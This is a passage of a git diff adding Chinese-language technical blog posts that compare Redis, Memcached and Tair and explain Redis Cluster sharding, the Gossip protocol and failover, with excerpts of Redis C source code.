上进行操作,而不用关心后面具体有多少个真实的 Redis 实例,从而实现了基于 Redis 的集群服务。当某个节点宕掉时,Twemproxy 可以自动将它从集群中剔除,而当它恢复服务时,Twemproxy 也会自动连接。由于是代理,Twemproxy 会有微小的性能损失。 + +> 管理 Redis 实例节点,可以主动剔除宕机的节点 + +#### 3.3 方案 3-Redis Cluster + +Codis 是一个分布式 Redis 解决方案,对于上层的应用来说,连接到 Codis Proxy 和连接原生的 Redis Server 没有明显的区别(部分命令不支持), 上层应用可以像使用单机的 Redis 一样使用,Codis 底层会处理请求的转发,不停机的数据迁移等工作。 + +> 分布式 Redis 解决方案,连接到 Codis Proxy 和连接到 Redis Server 没有明显的区别。Codis 主要做请求转发的工作 + +### 4. Memcached + +> Mem+cached,Mem 代表内存,cache 意为缓存,Memcached,即基于内存的缓存。 + +### 5.Memcached 特点 + +与其它 Key-Value 缓存产品相比,Memcached 有以下特点: + +- 不支持持久化。 +- 容量达到指定值之后,基于 LRU 算法自动删除不使用的缓存。 +- 可以对存储的数据设置过期时间,但是过期的数据采用的是惰性删除机制,不主动监控过期,而是在访问的时候查看 Key 的时间戳,判断是否过期,过期则返回空。 +- 节点之间相互独立没有集群模式。 +- Memcached 采用 Slab Table 方式分配内存,可有效减少内存碎片,提升回收效率; +- 存储数据 Key 限制为 250 字节,Value 限制为 1MB,适用于小块数据的存储; +- Memcached 本身并不支持分布式,因此,一般在客户端通过一致性哈希这样的分布式算法来实现 Memcached 的分布式存储。此外,也可以通过第三方软件实现分布式; + +#### 5.1 Memcached 支持的数据类型 + +Memcache 只支持对键值对的存储,并不支持其它数据结构,复杂的数据结构需要应用程序自行处理。 + +#### 5.2 Memcached 线程模型 + +Memcached 使用了多线程模式,开启 Memcached 服务器时使用 -t 参数可以指定要开启的线程数,但并不是线程数越多越好,一般设置为 CPU 核数,这样效率最高。此外,Memcached 使用了 NIO 模型以提升并发行能。 + +#### 5.3 Memcached 持久化机制 + +持久化机制 +Memache 的设计理念就是一个单纯的缓存,因此并不提供持久机制,但可以通过第三方软件,如 MemcacheDB 来支持它的持久性。 + +#### 5.4 Memcached 客户端 + +许多语言都实现了连接 Memcached 的客户端,其中以 Perl、PHP 为主。仅仅 Memcached 网站上列出的就有:Perl、PHP、Python、Ruby、C#、C/C++、Lua 等等。 + +#### 5.5 Memcached 数据淘汰策略 + +Memecache 在容量达到指定值后,将基于 LRU(Least Recently Used,最近最少被使用)算法自动删除不使用的缓存。在某些情况下 LRU 机制也会带来麻烦,如将不期待的数据从内存中清除,这种情况下启动 Memcache,可以通过 M 参数禁止 LRU 算法。此外,Memecache 只支持单一的淘汰策略,粒度较大,须谨慎使用。 + +#### 5.6 Memcached 内存管理 + +与 Redis 内存管理类似,Memcached 也没有直接采用 malloc/free 管理内存,而是采用 Slab Allocation 机制管理内存。 + +其核心思想与 Redis 异曲同工。首先从操作系统申请一大块内存,并将其分割成各种尺寸的块 Chunk,并把尺寸相同的块分成组 Slab Class。其中,Chunk 是用来存储 Key-Value 数据的最小单位。当 Memcached 接收到客户端发送过来的数据时,首先会根据数据大小选择一个最合适的 Slab Class,并通过查询 Memcached 保存的该 Slab Class 内空闲 Chunk 的列表,就可以找到一个可用于存储数据的 Chunk。当一条数据过期或者丢弃时,该记录所占用的 Chunk 就可以回收,重新添加到空闲列表中。 + +从以上过程可以看出,Memcached 的内存管理制效率高,而且不会造成内存碎片,但它最大的缺点则是会造成空间浪费。每个 Chunk 都分配了特定长度的内存空间,所以变长数据无法充分利用这些空间。比如将 64 个字节的数据缓存到 88 个字节的 Chunk 中,剩余的 24 个字节就浪费掉了。 + +### 6 Memcached 高可用方案 + +Memcached 不支持真正意义上的集群模式,也不支持主从副本以防止单点故障。为了保障 Memcached 服务的高可用,需要借助第三方软件或者自己设计编程实现。常用的第三方软件有 Repcached、Memagent、 memcached-ha 等。 + +这里有个问题需要明确下,即 Memcached 在实现分布式群集部署时,Memcached 服务端之间是不能进行通讯的,也就是说服务端是伪分布式的,分布式将由客户端或者代理来实现。 + +#### 6.1 方案 1—— 一致性 Hash + +Memcached 本身并不支持分布式,因此,可以在客户端通过一致性哈希这样的分布式算法来实现 Memcached 的分布式存储。 + +当客户端向 Memcached 集群发送数据时,首先通过一致性哈希算法计算出该条数据的目标节点,然后将数据直接发送到该节点上存储。当客户端查询数据时,同样要计算出查询数据所在的节点,之后直接向该节点发送查询请求以获取数据。 + +通过一致性哈希算法可以保证数据存放到不同的 Mamcached 上,分散了在单台机器上的风险,提高了可用性,但只能解决数据全部丢失的问题,部分数据仍可能丢失,比如当一台 Mamcached 所在节点宕机,它上面的数据还是会丢失。 + +#### 6.2 方案 2——Repcached + +Repcached,全称 Replication Cached 高可用技术,简称复制缓冲区技术。Repcached 可用来实现 Memcached 的复制功能。它所构建的主从方案是一个单主单从方案,不支持多主多从。但是,主从两个节点可以互相读写,从而可以达到互相同步的效果。 + +假设主节点坏掉,从节点会很快侦测到连接断开,然后它会自动切换到监听状态(Listen)从而成为主节点,并等待新的从节点加入。 + +但原来挂掉的主节点恢复之后,只能作为从节点通过人工手动的方式重新启动。它并不能抢占成为新的主节点,除非新的主节点挂掉。这就意味着,基于 Repcached 实现的 Memcached 主从文案中,主节点并不具备抢占功能。 + +### 7. Tair 介绍 + +在分布式缓存领域,除了上面提到的 Redis 和 Memcached ,国内 IT 巨头阿里巴巴也推出了一套解决方案——Tair。Tair 是一个高性能、分布式、可扩展、高可靠的 Key-Value 结构存储系统。除了阿里集团,商用案例较少,社区活跃度较低. + +Tair(全称 TaoBao Pair,Pair 即 Key-Value 键值对)是阿里巴巴集团旗下淘宝事业部开发的一个优秀的分布式高可用 Key-Value 存储引擎。Tair 首个版本于 2010 年 6 月推出,经过八年的发展,目前性能已经十分优秀,在淘宝、天猫、蚂蚁金服、菜鸟网络等产品中有着大规模的应用。 + +#### 7.1 Tair 可以做什么? + +Tair 分为持久化和非持久化两种使用方式。非持久化 Tair 可以用作分布式缓存;持久化 Tair 可类比数据库。Tair 之所以集成四种引擎,主要源于阿里众多的应用场景,比如: + +MDB 典型应用场景:用于缓存,降低对后端数据库的访问压力,比如淘宝中的商品都是缓存在 Tair 中;用于临时数据存储,部分数据丢失不会对业务产生较大影响,例如登录; + +LDB 典型应用场景:通用 Key-Value 存储、交易快照、安全风控等;存储黑白单数据,读 QPS 很高;计数器功能,更新非常频繁,且数据不可丢失; + +RDB 典型应用场景:复杂数据结构的缓存与存储,如播放列表,直播间,Top N 排名等。 + +#### 7.2 Tair 特点 + +Tair 主要有以下几个特点: + +高性能:在高吞吐下保证低延迟,阿里官方公布的数据显示:双 11 可达到每秒 5 亿次峰值的调用量,平均访问延迟在 1 毫秒以下; +高可用:支持自动 failover(故障倒换),确保节点发生故障时,系统能继续正常运行; +集成多种引擎,支持众多商用场景; +自动复制和迁移:为了增强数据的安全性,Tair 支持配置数据的备份数; +负载均衡:Tair 的分布采用的是一致性哈希算法,可保证数据分布的均衡性。 + +#### 7.3 Redis VS Memecached - Read And Write + +对于一个具体的应用,究竟选择哪种缓存方案,通常需要考虑以下因素: + +读/写速度; +内存分配、管理及回收机制,CPU 使用情况; +是否支持分布式存储; +可靠性; +可用性; +通过前面对 Redis 和 Memecached 的介绍,Memcached 提供的每项主要功能及其优势,都只是 Redis 功能和特性的子集。任何可以使用 Memcached 的地方都可以对等的使用 Redis。Memcached 提供的只是 Redis 拥有功能的冰山一角。在可预见的未来一段时间里,Redis 仍会是比 Memcached 更优秀的缓存解决方案。 + +Redis 和 Memecached 都是基于内存的 Key-Value 存储系统,因此都具有极高的读/写性能。不过有两个因素会影响性能: + +Redis 主进程是单线程的,而 Memecached 支持多线程; +Redis 支持持久化,而 Memecached 不支持。在开启持久化功能的前提下,由于子进程 dump 数据,Redis 的性能会降低。 + +> 相同服务器环境下,测试表明(基于 Redis 3.0.7 和 Memecached 1.4.5 ):Memcached 写性能高于 Redis,前者约 9.8 万条每秒,后者约 7.6 万条秒;Memcached 读性能也高于 Redis,前者约 10.1 万条每秒,后者约 9.2 万条秒;在高并发场景下,Memecached 的读/写性能亦具有优势。需要特别说明的是,Redis 经过优化,最新的版本性能已经大为改观,具体数据没有测试。 + +#### 7.4 Redis VS Memecached - CPU And Memory + +我们先看下两者的内存使用情况。使用简单的 Key-Value 存储,Memcached 的内存利用率更高,而如果 Redis 采用 Hash 结构进行 Key-Value 存储,由于其组合式的压缩,其内存利用率会高于 Memcached。 + +再看来两者对 CPU 的使用,在同样的条件下,Redis 的 CPU 占用率低于 Memcached。 + +#### 7.4 Redis VS Memecached -分布式存储 + +> Memcached 通过客户端一致性哈希来进行分布式存储 + +Memcached 本身并不支持分布式,通常在客户端通过一致性哈希这样的分布式算法来实现 Memcached 的分布式存储。当客户端向 Memcached 集群发送数据时,首先会通过内置的分布式算法计算出该条数据的目标节点,然后数据会直接发送到该节点上存储。当客户端查询数据时,同样要计算出查询数据所在的节点,然后直接向该节点发送查询请求以获取数据。此外,也可以通过第三方软件实现分布式,如 Repcached、Memagent。 + +> Redis 本身是支持分布式存储的功能 + +Redis 从 3.0 版本以后开始支持分布式存储功能。Redis Cluster 是一个实现了分布式且允许单点故障的 Redis 高级版本,它没有中心节点,具有线性可伸缩的功能。当然,Redis 同样也可以采用第三方软件实现分布式,如 Twemproxy、Codis。综合比较,Redis 对分布式的支持优于 Memcached。 + +#### 7.5 Redis VS Memecached -可靠性 + +Memcached 完全基于内存存储,不支持持久化,宕机或重启数据将全部丢失。 + +Redis 支持数据的持久化(包括 AOF 和 RDB 两种模式),可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用,性能与可靠性兼顾。 + +综合比较,Redis 可靠性高于 Memcached。 + +#### 7.6 Redis VS Memecached -主从节点复制配置 + +> Redis 通过 RDB 缓存和 AOF 命令进行同步和恢复 + +Redis 支持主从节点复制配置,从节点可使用 RDB 和缓存 AOF 命令进行同步和恢复。Redis 还支持 Sentinel 和 Cluster(从 3.0 版本开始)等高可用集群方案。 + +Memecache 不支持高可用模型,需借助第三方软件。 + +综合比较,Redis 可用性高于 Memcached。 + +#### 7.7 Redis VS Memecached -其它 + +Memcache 只支持对键值对的存储,并不支持其它数据结构,适用场景较少。 + +Redis 则支持多种数据结构,包括字符串、哈希表、列表、集合、有序集合,位图,HyperLogLogs 等数据类型;此外,Redis 还支持事务、Lua 脚本等,Redis 不仅可以作为缓存,还可以实现分布式锁、消息队列等。 + +如上所言,Memcached 提供功能只是 Redis 拥有功能的子集,综合评估,Redis 优于 Memcached。 diff --git a/_posts/2023-1-22-test-markdown.md b/_posts/2023-1-22-test-markdown.md new file mode 100644 index 000000000000..8215311eb811 --- /dev/null +++ b/_posts/2023-1-22-test-markdown.md @@ -0,0 +1,366 @@ +--- +layout: post +title: 分布式一致性协议Gossip和Redis 集群原理解析 +subtitle: Gossip-分布式协议、Redis Cluster 原理、Codis 分布式方案 +tags: [分布式] +comments: true +--- + +### 1. Redis 单机模式 + +顾名思义,单机模式指 Redis 主节点以单个节点的形式存在,这个主节点可读可写,上面存储数据全集。在 3.0 版本之前,Redis 只能支持单机模式,出于可靠性考量,通常单机模式为“1 主 N 备”的结构,如下所示: + +> 单机模式不支持自动故障转移(指的是主节点故障的时候,副节点不可以升主),扩容能力有限 + +需要说明的是,即便有很多个 Redis 主节点,只要这些主节点以单机模式存在,本质上仍为单机模式。单机模式比较简单,足以支撑一般应用场景,但单机模式具有固有的局限性:不支持自动故障转移,扩容能力极为有限(只能 Scale Up,垂直扩容),存在高并发瓶颈。 + +#### 1.1 Sentinel-System(哨兵系统) + +> Sentinel-System(哨兵系统)由一个或者多个 sentinel 实例组成,可以监控 Redis 的主节点以及从节点 + +> Sentinel-System(哨兵系统)是 Redis 的一个的高可用方案 + +当由一个或者多个 sentinel 实例组成的 Sentinel-System(哨兵系统)监控到 Redis 的主节点下线的时候,会根据特定的选举规则从主节点的从节点中选取一个最优的从节点升主。然后由最新的主节点处理请求。 + +#### 1.2 单机扩容能力极为有限 + +这一点应该很好理解,单机模式下,只有主节点能够写入数据,那么,最大数据容量就取决于主节点所在物理机的内存容量,而物理机的内存扩容(Scale Up)能力目前仍是极为有限的。 + +#### 1.3 高并发瓶颈 + +> Redis 是单线程的 IO 复用模型,单线程可以将单纯的 IO 操作的速度发挥到最大,但是 Redis 的简单的计算操作阻塞整个 IO 调度。 + +Redis 使用单线程的 IO 复用模型,对于单纯的 IO 操作来说,单线程可以将速度优势发挥到最大,但 Redis 也提供了一些简单的计算功能,比如排序、聚合等,对于这些操作,单线程模型实际会严重影响整体吞吐量,CPU 计算过程中,整个 IO 调度都会被阻塞住。因此,单机模式下并发支持能力很容易陷入瓶颈。 + +### 2. Redis Cluster + +> 解决并发局限问题:Redis 号称单例 10 万并发。但也仅仅是 10 万并发。 + +> 解决容量问题:在一些应用场景下,数据规模可达数十 G,甚至数百 G。而物理机的资源却是有限的。 + +Redis Cluster 是 Redis 官方推出的一个原生的分布式方案。 + +#### 2.1 Redis Cluster 特点 + +> 节点之间采用 PING-PONG 互联,采用二进制协议 + +所有的 Redis 节点彼此互联(PING-PONG 机制),内部使用二进制协议优化传输速度和带宽; + +> 不存在中心节点,节点之间通过 Gossip 协议实现一致 + +Redis Cluster 不存在中心节点,每个节点都记录有集群的状态信息,并且通过 Gossip 协议,使每个节点记录的信息实现最终一致性; + +> 客户端直连 Redis Cluster 中间一个可用的节点 + +客户端与 Redis 节点直连,不需要中间 Proxy 层,客户端不需要连接集群所有节点,连接集群中任何一个可用节点即可; + +> Redis Cluster 的键空间被分片,分的片被分别分配给主节点(主节点的概念个中心节点的概念还是不同的) + +Redis Cluster 的键空间被分割为 16384 个 Slot,这些 Slot 被分别指派给主节点,当存储 Key-Value 时,根据 CRC16(key) Mod 16384 的值,决定将一个 Key-Value 放到哪个 Slot 中; + +> 集群中的一个节点,当其他超过半数的节点检测到它失效,那么它就被判定为失效。 + +对于集群中的任何一个节点,需要超过半数的节点检测到它失效(pFail),才会将其判定为失效(Fail) + +> 当某个主节点故障,其他主节点从该节点的从节点中选举主节点。(自动选举) + +当集群中某个主节点故障后(Fail),其它主节点会从故障主节点的从节点中选举一个“最佳”从节点升主,替代故障的主节点; + +> 集群模式下,使用相同的)号数据库 + +集群模式下,由于数据分布在多个节点,不支持单机模式下的集合操作,也不支持多数据库功能,集群只能使用默认的 0 号数据库; + +> 集群规模推荐是 1000 + +官方推荐的最大节点数量为 1000 个左右,这是因为当集群规模过大时,Gossip 协议的效率会显著下降,通信成本剧增 +。 + +#### 2.2 Redis-Cluster 实现基础:分片 + +> 理论:集群的基础肯定离不开数据分片,即先把数据分片,然后指派给多个 Redis 实例。 + +Redis 集群实现的基础是分片,即将数据集有机的分割为多个片,并将这些分片指派给多个 Redis 实例,每个实例只保存总数据集的一个子集。利用多台计算机内存和来支持更大的数据库,而避免受限于单机的内存容量;通过多核计算机集群,可有效扩展计算能力;通过多台计算机和网络适配器,允许我们扩展网络带宽。 + +> 实现:Hash Slot 。每个物理节点对应一个 Slot。Redis Cluster 把所有的物理节点映射(指向)到预先分好的 16384 个 Slot 上,当需要在 Redis 集群中放置一个 Key-Value 时,根据 CRC16(key) Mod 16384 的值,决定将一个 Key 放到哪个 Slot 中。 + +#### 2.3 Redis Cluster 请求路由方式 + +重定向到正确的节点: + +> 正是因为数据分片,当客户端直连到集群 Redis Cluster 中间一个可用的节点的时候,如果进行读写操作的 KEY 对应的 Slot 不在当前直连的节点上,那么就重定向到正确的节点。 + +重定向的操作不是由一个 Redis 节点到另外一个 Redis 节点,而是借助客户端转发到正确的节点。 + +> 和普通的查询路由相比,Redis Cluster 借助客户端实现的请求路由是一种混合形式的查询路由,它并非从一个 Redis 节点到另外一个 Redis,而是借助客户端转发到正确的节点。 + +> 实际应用中,可以在客户端缓存 Slot 与 Redis 节点的映射关系,当接收到 MOVED 响应时修改缓存中的映射关系。如此,基于保存的映射关系,请求时会直接发送到正确的节点上,从而减少一次交互,提升效率。 + +### 3.Redis Cluster 节点通信原理:Gossip 算法 + +> Gossip 算法源自流行病学的研究,经过不断的发展演化,作为一种分布式一致性协议而得到广泛应用,如 Cassandra、Akka、Redis 都有用到。 + +#### 3.1 Gossip 背景 + +> Gossip 给传播算法的提供语义和证明 + +Gossip 算法如其名,在办公室,只要一个人八卦一下,在有限的时间内所有的人都会知道该八卦的信息,这种方式也与病毒传播类似,因此 Gossip 有众多的别名,如“闲话算法”、“疫情传播算法”、“病毒感染算法”、“谣言传播算法”。但 Gossip 并不是一个新东西,之前的泛洪查找、路由算法都归属于这个范畴,不同的是 Gossip 给这类算法提供了明确的语义、具体实施方法及收敛性证明。 + +#### 3.2 Gossip 特点 + +> 在杂乱无章中寻求一致 + +Gossip 算法又被称为反熵(Anti-Entropy),熵是物理学上的一个概念,代表杂乱无章,而反熵就是在杂乱无章中寻求一致,这充分说明了 Gossip 的特点:在一个有界网络中,每个节点都随机地与其它节点通信,经过一番杂乱无章的通信,最终所有节点的状态都会达成一致。每个节点可能知道所有其它节点,也可能仅知道几个邻居节点,只要这些节可以通过网络连通,最终它们的状态都是一致的。 + +#### 3.3 Gossip 本质 + +> Gossip 是带冗余的容错算法。 + +> Gossip 是最终一致性算法。 + +> Gossip 适用于“最终一致性”的场景:失败检测,路由同步,负载均衡 + +#### 3.4 Gossip 在 Redis Cluster 中的作用 + +分布式系统中间需要:维护节点元数据(元数据是指:节点负责哪些数据,节点的主从属性,是否出现故障) + +常见的维护方式:集中式和无中心式(Gossip 是无中心式) + +Gossip 在 Redis Cluster 中的两大作用: + +- 去中心化 +- 失败检测 + +#### 3.5 节点通信基础 + +> Redis Cluster 中的每个 Redis 实例监听两个 TCP 端口,6379(默认)用于服务客户端查询,16379(默认服务端口+10000)用于集群内部通信。 + +集群中节点通信方式如下: + +- 每个节点在固定周期内部通过特定的规则选择几个节点发送 Ping 信息 +- 接收到 Ping 消息的节点用 Pong 消息作为响应。 + +> 集群中每个节点通过一定规则挑选要通信的节点,每个节点可能知道全部节点,也可能仅知道部分节点,只要这些节点彼此可以正常通信,最终它们会达到一致的状态。当节点故障、新节点加入、主从关系变化、槽信息变更等事件发生时,通过不断的 Ping/Pong 消息通信,经过一段时间后所有的节点都会知道集群全部节点的最新状态,从而达到集群状态同步的目的。 + +#### 3.6 Gossip 消息种类 + +Gossip 协议的主要职责就是信息交换。信息交换的载体就是节点彼此发送的 Gossip 消息,常用的 Gossip 消息可分为:Ping 消息、Pong 消息、Meet 消息、Fail 消息。 + +> Meet 消息用来通知新节点加入集群 +> Meet 消息:用于通知新节点加入。消息发送者通知接收者加入到当前集群,Meet 消息通信正常完成后,接收节点会加入到集群中并进行周期性的 Ping、Pong 消息交换; + +> Ping 包含了自己本身的状态和其他节点的状态 + +Ping 消息:集群内交换最频繁的消息,集群内每个节点每秒向多个其它节点发送 Ping 消息,用于检测节点是否在线和交换彼此状态信息。Ping 消息发送封装了自身节点和部分其它节点的状态数据; + +> Pong 一方面确认通信,另外可以广播自身的 Pong 来通知集群对自己的状态进行更新 + +Pong 消息:当接收到 Ping、Meet 消息时,作为响应消息回复给发送方确认消息正常通信。Pong 消息内部封装了自身状态数据。节点也可以向集群内广播自身的 Pong 消息来通知整个集群对自身状态进行更新; + +> Fail 当节点判定另外一个节点下线的时候,通过广播一个 Fail 消息,变更节点信息为下线状态 + +Fail 消息:当节点判定集群内另一个节点下线时,会向集群内广播一个 Fail 消息,其他节点接收到 Fail 消息之后把对应节点更新为下线状态。 + +### 4 Redis Cluster 节点通信 + +#### 4.1 节点间是如何交换信息的? + +Redis 节点启动之后,会每间隔 100ms 执行一次集群的周期性函数 clusterCron()。在 Redis 源码 server.c 中可见: + +```c + /* Run the Redis Cluster cron. */ + run_with_period(100) { + if (server.cluster_enabled) clusterCron(); + } +``` + +而 clusterCron() 中又会调用 clusterSendPing() 函数,该函数用于将随机选择的节点的信息加入到 Ping 消息体中,然后发送出去。 + +> 当前节点向另一个节点发送 Ping 消息时,携带的其它节点的消息数量至少为 3,最大等于集群节点总数-2; + +> 为 Ping 消息体中选择携带的其它节点的信息时,采用的是混合选择模式:随机选择+偏好性选择,这样不仅可以保证 Gossip 协议随机传播的原则,还可以尽量将当前节点掌握的其它节点的故障信息传播出去。 + +```c +void clusterSendPing(clusterLink *link, int type) { + unsigned char *buf; + clusterMsg *hdr; + int gossipcount = 0; /* Number of gossip sections added so far. */ + int wanted; /* Number of gossip sections we want to append if possible. */ + int totlen; /* Total packet length. */ + // freshnodes = 集群总节点数 - (2=当前节点+发送消息的目的节点) + // freshnodes 的值是ping消息体中可以携带节点信息的最大值 + int freshnodes = dictSize(server.cluster->nodes)-2; + // wanted 的值是集群节点的十分之一向下取整,并且最小等于3 + // wanted 表示ping消息体中期望携带的其它节点信息个数 + wanted = floor(dictSize(server.cluster->nodes)/10); + if (wanted < 3) wanted = 3; + // 因此 wanted 最多等于 freshnodes。 + if (wanted > freshnodes) wanted = freshnodes; + + // 计算分配消息的最大空间 + totlen = sizeof(clusterMsg)-sizeof(union clusterMsgData); + totlen += (sizeof(clusterMsgDataGossip)*wanted); + // 消息的总长最少为一个消息结构的大小 + if (totlen < (int)sizeof(clusterMsg)) totlen = sizeof(clusterMsg); + // 分配空间 + buf = zcalloc(totlen); + hdr = (clusterMsg*) buf; + // 设置发送PING命令的时间 + if (link->node && type == CLUSTERMSG_TYPE_PING) + link->node->ping_sent = mstime(); + // 构建消息的头部 + clusterBuildMessageHdr(hdr,type); + int maxiterations = wanted*3; + // 循环体,构建消息内容 + while(freshnodes > 0 && gossipcount < wanted && maxiterations--) { + // 随机选择一个集群节点 + dictEntry *de = dictGetRandomKey(server.cluster->nodes); + clusterNode *this = dictGetVal(de); + clusterMsgDataGossip *gossip; + int j; + + // 1. 跳过当前节点,不选myself节点,myself代表当前节点 + if (this == myself) continue; + + // 2. 偏爱选择处于下线状态或疑似下线状态的节点 + if (maxiterations > wanted*2 && + !(this->flags & (CLUSTER_NODE_PFAIL|CLUSTER_NODE_FAIL))) + continue; + + // 以下节点不能作为被选中的节点: + /* + 1. 处于握手状态的节点 + 2. 带有NOADDR标识的节点 + 3. 因为不处理任何槽而断开连接的节点 + */ + if (this->flags & (CLUSTER_NODE_HANDSHAKE|CLUSTER_NODE_NOADDR) || + (this->link == NULL && this->numslots == 0)) + { + freshnodes--; /* Tecnically not correct, but saves CPU. */ + continue; + } + } +//(中间部分代码省略.............) + // 发送消息 + clusterSendMessage(link,buf,totlen); + zfree(buf); +} +``` + +#### 4.2 如何保证消息传播的效率? + +前面已经提到,集群的周期性函数 clusterCron() 执行周期是 100ms,为了保证传播效率,每 10 个周期,也就是 1s,每个节点都会随机选择 5 个其它节点,并从中选择一个最久没有通信的节点发送 ing 消息, + +当然,这样还是没法保证效率,毕竟 5 个节点是随机选出来的,其中最久没有通信的节点不一定是全局“最久”。因此,对哪些长时间没有“被” 随机到的节点进行特殊照顾:每个周期(100ms)内扫描一次本地节点列表,如果发现节点最近一次接受 Pong 消息的时间大于 cluster_node_timeout/2,则立刻发送 Ping 消息,防止该节点信息太长时间未更新。 + +关键参数 cluster_node_timeout + +> 从上面的分析可以看出,cluster_node_timeout 参数对消息发送的节点数量影响非常大。当带宽资源紧张时,可以适当调大这个参数,如从默认 15 秒改为 30 秒来降低带宽占用率。但是,过度调大 cluster_node_timeout 会影响消息交换的频率从而影响故障转移、槽信息更新、新节点发现的速度,因此需要根据业务容忍度和资源消耗进行平衡。同时整个集群消息总交换量也跟节点数成正比。 + +消息体与集群规模 + +> 每个 Ping 消息的数据量体现在消息头和消息体中,其中消息头空间占用相对固定。消息体会携带一定数量的其它节点信息用于信息交换,消息体携带数据量跟集群的节点数息息相关,更大的集群每次消息通信的成本也就更高,因此对于 Redis 集群来说并不是越大越好 + +### 5 故障转移 + +#### 5.1 故障检测 + +> 单节点视角检测,检测(故障)信息传播,下线判决 + +单点视角检测 + +> 检测对方有没有下线 + +集群中的每个节点都会定期通过集群内部通信总线向集群中的其它节点发送 Ping 消息,用于检测对方是否在线。如果接收 Ping 消息的节点没有在规定的时间内向发送 Ping 消息的节点返回 Pong 消息,那么,发送 Ping 消息的节点就会将接收 Ping 消息的节点标注为疑似下线状态(Probable Fail,Pfail)。 + +检测信息传播 + +> 没回复我就判断他疑似下线,该疑似下线信息就会被告知其他节点,其他节点就会保存该节点的下线报告 + +集群中的各个节点会通过相互发送消息的方式来交换自己掌握的集群中各个节点的状态信息,如在线、疑似下线(Pfail)、下线(Fail)。例如,当一个主节点 A 通过消息得知主节点 B 认为主节点 C 疑似下线时,主节点 A 会更新自己保存的集群状态信息,将从 B 获得的下线报告保存起来。 + +基于检测信息作下线判决 + +> 超过半数的节点都保存了该节点的下线信息的时候,那么所有收到 Fail 消息的节点 就会把该节点标记为下线(Fail),并广播出去, + +如果在一个集群里,超过半数的持有 Slot(槽)的主节点都将某个主节点 X 报告为疑似下线,那么,主节点 X 将被标记为下线(Fail),并广播出去,所有收到这条 Fail 消息的节点都会立即将主节点 X 标记为 Fail。至此,故障检测完成。 + +#### 5.2 选举 + +> 感知到下线的从节点就会向集群广播,请求给自己投票 + +基于故障检测信息的传播,集群中所有正常节点都将感知到某个主节点下线的信息,当然也包括这个下线主节点的所有从节点。当从节点发现自己复制的主节点状态为已下线时,从节点就会向集群广播一条请求消息,请求所有收到这条消息并且具有投票权的主节点给自己投票。 + +拉票优先级 +严格的讲,从节点在发现其主节点下线时,并非立即发起故障转移流程而进行“拉票”的,而是要等待一段时间,在未来的某个时间点才发起选举。这个时间点有如下计算表达式: + +```text +mstime() + 500ms + random()%500ms + rank*1000ms +``` + +其中,固定延时 500ms,是为了**留出时间,使主节点下线的消息能传播到集群中其他节点,这样集群中的主节点才有可能投票**;随机延时是为了避免两个从节点同时开始故障转移流程;rank 表示从节点的排名,排名是指当前从节点在下线主节点的所有从节点中的排名,排名主要是根据复制数据量来定,复制数据量越多,排名越靠前,因此,具有较多复制数据量的从节点可以更早发起故障转移流程,从而更可能成为新的主节点。 + +主节点投票 +如果一个主节点具有投票权(负责处理 Slot 的主节点),并且这个主节点尚未投票给其它从节点,那么这个主节点将向请求投票的从节点返回一条回应消息,表示支持该从节点升主。 + +根据投票结果决策 +在一个具有 N 个主节点投票的集群中,理论上每个参与拉票的从节点都可以收到一定数量的主节点投票,但是,在同一轮选举中,只可能有一个从节点收到的票数大于 N/2 + 1,也只有这个从节点可以升级为主节点,并代替已下线的主节点继续工作。 + +选举失败 +跟生活中的选举一样,选举可能失败——没有一个候选从节点获得超过半数的主节点投票。遇到这种情况,集群将会进入下一轮选举,直到选出新的主节点为止。 + +选举算法 +选举新主节点的算法是基于 Raft 算法的 Leader Election 方法来实现 Raft 算法。 + +#### 5.3 故障转移 + +5.3 故障转移 +选举完成后,获胜的从节点将发起故障转移(Failover),角色从 Slave 切换为 Master,并接管原来主节点的 Slots,详细过程如下。 + +身份切换 +通过选举晋升的从节点会执行一系列的操作,清除曾经为从的信息,改头换面,成为新的主节点。 + +接管职权 +新的主节点会通过轮询所有 Slot,撤销所有对已下线主节点的 Slot 指派,消除影响,并且将这些 Slot 全部指派给自己。 + +广而告之 +升主了嘛,必须让圈子里面的都知道,新的主节点会向集群中广播一条 Pong 消息,将自己升主的信息通知到集群中所有节点。 + +履行义务 +在其位谋其政,新的主节点开始处理自己所负责 Slot 对应的请求,至此,故障转移完成。 + +#### 5.4 Redis Cluster 扩容 + +随着应用场景的升级,缓存可能需要扩容,扩容的方式有两种:垂直扩容(Scale Up)和水平扩容(Scale Out)。垂直扩容无需详述。实际应用场景中,采用水平扩容更多一些,根据是否增加主节点数量,水平扩容方式有两种。 + +比如,当前有一台物理机 A,构建了一个包含 3 个 Redis 实例的集群;扩容时,我们新增一台物理机 B,拉起一个 Redis 实例并加入物理机 A 的集群;B 上 Redis 实例对 A 上的一个主节点进行复制,然后进行主备倒换;如此,Redis 集群还是 3 个主节点,只不过变成了 A2-B1 的结构,将一部分请求压力分担到了新增的节点上,同时物理容量上限也会增加,主要步骤如下: + +将新增节点加入集群; +将新增节点设置为某个主节点的从节点,进而对其进行复制; +进行主备倒换,将新增的节点调整为主。 + +方式 2:增加主节点数量。 + +不增加主节点数量的方式扩容比较简单,但是,从负载均衡的角度来看,并不是很好的选择。例如,如果主节点数量较少,那么单个节点所负责的 Slot 的数量必然较多,很容易出现大量 Key 的读写集中于少数节点的现象,而增加主节点的数量,可以更有效的分摊访问压力,充分利用资源。主要步骤如下: + +将新增节点加入集群; +将集群中的部分 Slot 迁移至新增的节点。 + +### 6 其它分布式 Redis 方案 + +#### 6.1 基于客户端的分片 + +如下图所示,客户端与 Redis 节点直连,为了提高可用性,每个主节点挂一个从节点,故障倒换可由“哨兵”系统实现(其它方案也可实现)。客户端对任何一个主节点的读写操作本质上就是单机模式下的读写操作;对于一个 Key-Value,其读写节点完全由客户端决定。比如,采用 Hash 算法: + +但是,Hash 算法有很多缺陷: + +不支持动态增加节点:当业务量增加,需要增加服务器节点后,上面的计算公式变为:hash(key)%(N+1),那么,对于同一个 Key-Value,增加节点前后,对应的 Redis 节点可能是完全不同的,可能导致大量之前存储的数据失效;为了解决这个问题,需要将所有数据重新计算 Hash 值,再写入 Redis 服务器。 +不支持动态减少节点,原理同上。 +鉴于 Hash 算法的不足,在实际应用中一般采用“一致性哈希”算法,在增删节点的时候,可以保证尽可能多的缓存数据不失效。关于一致性哈希算法,网上文章很多,读者可自行研读。 + +采用客户端分片具有逻辑简单,性能高的优点,但缺点也很明显,主要有业务逻辑与数据存储逻辑耦合,可运维性差;多业务各自使用 Redis,集群资源难以管理。 + +#### 6.2 基于代理的分片 + +为了克服客户端分片业务逻辑与数据存储逻辑耦合的不足,可以通过 